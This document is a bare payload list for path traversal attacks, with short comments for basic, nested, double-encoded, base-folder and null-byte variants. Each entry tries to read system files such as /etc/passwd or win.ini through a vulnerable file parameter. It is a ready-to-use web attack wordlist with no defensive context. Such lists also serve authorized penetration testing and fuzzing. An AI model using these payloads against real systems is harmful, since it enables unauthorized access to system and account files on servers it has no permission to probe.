#Basic payloads
../../../../etc/passwd
/windows/win.ini
#Nested payload
....//....//....//etc/passwd
#Double encoding
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
#With base folder
/var/www/images/../../../../../etc/passwd
#Null byte
../../../etc/passwd%00.png